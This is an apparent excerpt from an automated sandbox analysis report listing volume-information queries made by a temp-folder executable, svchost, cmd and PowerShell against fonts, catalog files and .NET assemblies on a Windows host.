Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\OFFSYM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
